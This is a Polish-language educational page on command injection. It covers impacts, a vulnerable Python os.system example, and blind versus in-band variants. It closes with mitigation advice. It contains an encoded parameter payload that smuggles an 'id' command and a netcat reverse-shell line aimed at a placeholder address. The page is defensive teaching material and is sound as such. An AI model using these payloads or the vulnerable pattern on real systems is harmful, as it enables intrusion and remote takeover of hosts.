Przejdź do treści

Command Injection

Command Injection to podatność umożliwiająca atakującemu wpływanie na polecenia wykonywane przez system operacyjny. W zależności od miejsca wstrzyknięcia i zastosowanych ograniczeń może prowadzić do wykonania dodatkowych poleceń z uprawnieniami procesu aplikacji. Podatność występuje najczęściej, gdy dane kontrolowane przez atakującego są włączane do ciągu polecenia przekazywanego do powłoki systemowej. W powłokach uniksowych podatność może zostać wykorzystana m.in. przez wstrzyknięcie separatorów i konstrukcji takich jak ;, |, &&, ||, backtick, $(...) lub znak nowej linii. Składnia i znaczenie znaków specjalnych zależą od używanej powłoki i systemu operacyjnego.

Skutki udanego ataku

Udany atak Command Injection może prowadzić do:

  • wykonania poleceń systemowych z uprawnieniami procesu aplikacji,
  • odczytu, modyfikacji lub usunięcia plików dostępnych dla procesu,
  • ujawnienia plików konfiguracyjnych, kluczy i danych uwierzytelniających,
  • przejęcia kontroli nad aplikacją lub hostem, jeżeli pozwalają na to uprawnienia procesu,
  • ustanowienia trwałego dostępu, np. przez web shell lub dodanie klucza SSH,
  • wykorzystania przejętego hosta do uzyskiwania dostępu do kolejnych systemów w sieci wewnętrznej (technika ta nazywana jest pivotingiem),
  • eksfiltracji danych lub zakłócenia działania środowiska.

Mechanizm działania

Podatność powstaje, gdy aplikacja wywołuje polecenie systemowe, wplatając w nie dane użytkownika. Przykład podatnego kodu w Pythonie:

import os
filename = request.args.get('file')
os.system(f"convert {filename} output.png")

Normalne żądanie:

GET /convert?file=image.jpg

powoduje wykonanie polecenia:

convert image.jpg output.png

Atakujący może jednak przekazać odpowiednio przygotowaną wartość parametru file. Przykładowe żądanie, w którym znaki specjalne zostały zakodowane:

GET /convert?file=image.jpg%20output.png%3B%20id%3B%20%23

Po zdekodowaniu parametr file ma wartość:

image.jpg output.png; id; #

Aplikacja tworzy z niej następujący ciąg polecenia:

convert image.jpg output.png; id; # output.png

Powłoka interpretuje średniki jako separatory poleceń, a znak # jako początek komentarza. W efekcie wykonuje:

convert image.jpg output.png
id

Polecenie id jest wykonywane z uprawnieniami procesu aplikacji. Jego wynik, np. uid=33(www-data) gid=33(www-data), w zależności od konfiguracji może trafić do konsoli, logów procesu lub zostać odrzucony. W przedstawionym kodzie os.system() nie umieszcza tego wyniku automatycznie w odpowiedzi HTTP. Mamy tu do czynienia z tzw. blind command injection - atakujący nie widzi wyniku polecenia bezpośrednio w odpowiedzi, mimo że polecenie faktycznie się wykonuje.

W zależności od tego, czy wynik polecenia trafia do odpowiedzi, rozróżnia się:

  • in-band - wynik polecenia jest bezpośrednio widoczny w odpowiedzi HTTP, co pozwala na natychmiastową weryfikację podatności,
  • blind - wynik nie jest zwracany, a podatność trzeba wykazać innymi technikami.

Nawet jeśli rezultat polecenia id z przykładu nie jest zwracany, blind command injection wciąż umożliwia pełną, interaktywną kontrolę nad hostem. Atakujący może podstawić polecenie nawiązujące połączenie zwrotne, np. nc <adres_IP> 4444 -e /bin/bash, które połączy się do wskazanego adresu i portu, udostępniając powłokę Bash i umożliwiając interaktywne wykonywanie dowolnych poleceń z uprawnieniami procesu aplikacji (tzw. reverse shell).

Niebezpieczne sposoby wywoływania poleceń systemowych:

  • Dla PHP: system(), exec(), shell_exec(), passthru(), popen(), `backticki` - jeżeli ciag polecenia zawiera niezaufane dane,
  • Dla Python: os.system(), os.popen(), subprocess.* z shell=True - jeżeli ciąg polecenia zawiera niezaufane dane,
  • Dla Node.js: child_process.exec(), child_process.execSync() (z konkatenacją) - jeżeli polecenie jest budowane z danych pochodzących z niezaufanego źródła.

Charakterystyka

Command Injection najczęściej wynika z:

  • przekazywania do powłoki systemowej ciągu polecenia zawierającego niezaufane dane,
  • używania funkcji przyjmujących ciąg znaków przekazywany do shell,
  • braku ścisłego ograniczenia wartości, które mogą zostać użyte jako nazwa programu lub jego argumenty,
  • konstruowania ciągu polecenia przez łączenie danych użytkownika z nazwami programów, ścieżkami lub argumentami,
  • polegania wyłącznie na liście zabronionych znaków, która może nie uwzględniać wszystkich konstrukcji obsługiwanych przez daną powłokę.

Podatność często występuje w funkcjach administracyjnych, narzędziach diagnostycznych, konwerterach plików, panelach zarządzania, mechanizmach ping/traceroute oraz wszędzie tam, gdzie aplikacja integruje się z zewnętrznymi programami CLI.

Rekomendacje

Aby ograniczyć ryzyko Command Injection, należy:

  • unikać wywoływania poleceń systemowych, gdy istnieje alternatywa w postaci biblioteki danego języka (np. os.rename lub os.replace zamiast mv, biblioteka do przetwarzania obrazów zamiast convert, klient DNS/HTTP zamiast curl),
  • uruchamiać programy bez udziału powłoki systemowej i przekazywać nazwę programu oraz poszczególne argumenty jako oddzielne elementy, zamiast budować jedno polecenie przez łączenie ciągów znaków,
  • stosować listę dozwolonych wartości wejściowych, najlepiej opartą na zamkniętym zbiorze znanych nazw lub identyfikatorów. Walidację opartą wyłącznie na dozwolonych znakach należy dostosować do konkretnego przypadku użycia,
  • normalizować i walidować dane przed przekazaniem ich jako argumentów programu. Mechanizmy te należy traktować jako dodatkową warstwę ochrony, a nie zamiennik bezpośredniego uruchamiania programu bez udziału powłoki,
  • stosować zasadę najmniejszych uprawnień dla procesu aplikacji, wykorzystując odrębne konto systemowe i ograniczając dostęp do sekretów, plików oraz katalogów niewymaganych do działania aplikacji,
  • nie ufać danym z nagłówków, plików cookie czy parametrów, które rzekomo „pochodzą z aplikacji" - są one kontrolowane przez klienta,
  • rejestrować i monitorować wywołania poleceń systemowych, usuwając z logów (lub je maskować): hasła, tokeny, klucze i inne dane wrażliwe. Monitorowanie stanowi mechanizm wykrywania nadużyć i nie zastępuje bezpiecznego sposobu uruchamiania procesów.